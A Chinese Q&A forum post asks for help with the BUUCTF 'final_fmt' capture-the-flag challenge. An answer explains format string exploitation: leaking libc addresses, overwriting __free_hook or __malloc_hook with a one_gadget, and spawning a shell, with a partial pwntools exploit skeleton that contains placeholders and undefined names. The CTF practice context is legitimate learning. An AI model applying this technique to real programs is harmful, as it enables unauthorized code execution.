我是一条蒸鱼 2025-12-08 13:29 采纳率: 0%
浏览 5

buuctf final_fmt

img


buuctf中的final_fmt谁会做,求解答,11111111111111111111111111111111111111111

  • 写回答

4条回答 默认 最新

  • 码界奇点 2025-12-08 15:03
    关注

    这道题考察格式化字符串漏洞的利用,需要泄露libc地址并劫持控制流。核心步骤是通过格式化字符串泄露栈上数据,计算libc基址,然后修改__malloc_hook__free_hook为one_gadget来获取shell。

    关键步骤:

    1. 泄露栈地址与libc地址

      • 使用%p%llx多次尝试,找到栈上存储的libc地址(通常为__libc_start_main+240等)。
      • 计算libc基址:libc_base = leaked_addr - libc_offset
    2. 计算one_gadget地址

      • 使用one_gadget libc.so.6获取偏移,one_gadget_addr = libc_base + offset
    3. 利用格式化字符串任意写

      • 通过%n%hn等格式化字符串写功能,将__malloc_hook__free_hook修改为one_gadget地址。
      • 注意:64位地址可能需分两次写入(使用%hn写两个字节)。
    4. 触发hook执行shell

      • 调用mallocfree触发hook,获得shell。

    示例利用代码框架:

    from pwn import *
    context(arch='amd64', os='linux')
    
    p = process('./final_fmt')
    # p = remote('node4.buuoj.cn', 12345) # 根据题目调整
    
    # 1. 泄露libc地址
    payload = b'%llx.' * 20  # 尝试泄露多个值
    p.sendline(payload)
    leaks = p.recv().split(b'.')
    libc_leak = int(leaks[某个索引], 16)  # 根据实际调试确定索引
    libc_base = libc_leak - 0x24083  # 偏移需根据libc版本调整
    
    # 2. 计算one_gadget
    one_gadget = libc_base + 0xe3b01  # 示例偏移
    
    # 3. 写__free_hook
    # 使用格式化字符串任意写,例如通过%n写入
    # 注意:可能需要先泄露栈地址来定位写入位置
    # 这里简化展示思路
    write_payload = fmtstr_payload(偏移, {__free_hook: one_gadget})
    p.sendline(write_payload)
    
    # 4. 触发
    p.sendline(b'%100000c')  # 触发malloc或free
    p.interactive()
    

    注意事项:

    • 实际偏移需通过调试确定(使用gdb或本地测试)。
    • 如果开启PIE,需先泄露程序基址。
    • 注意格式化字符串在栈上的位置,可通过%p%llx逐个查看。
    评论

报告相同问题?

问题事件

  • 创建了问题 12月8日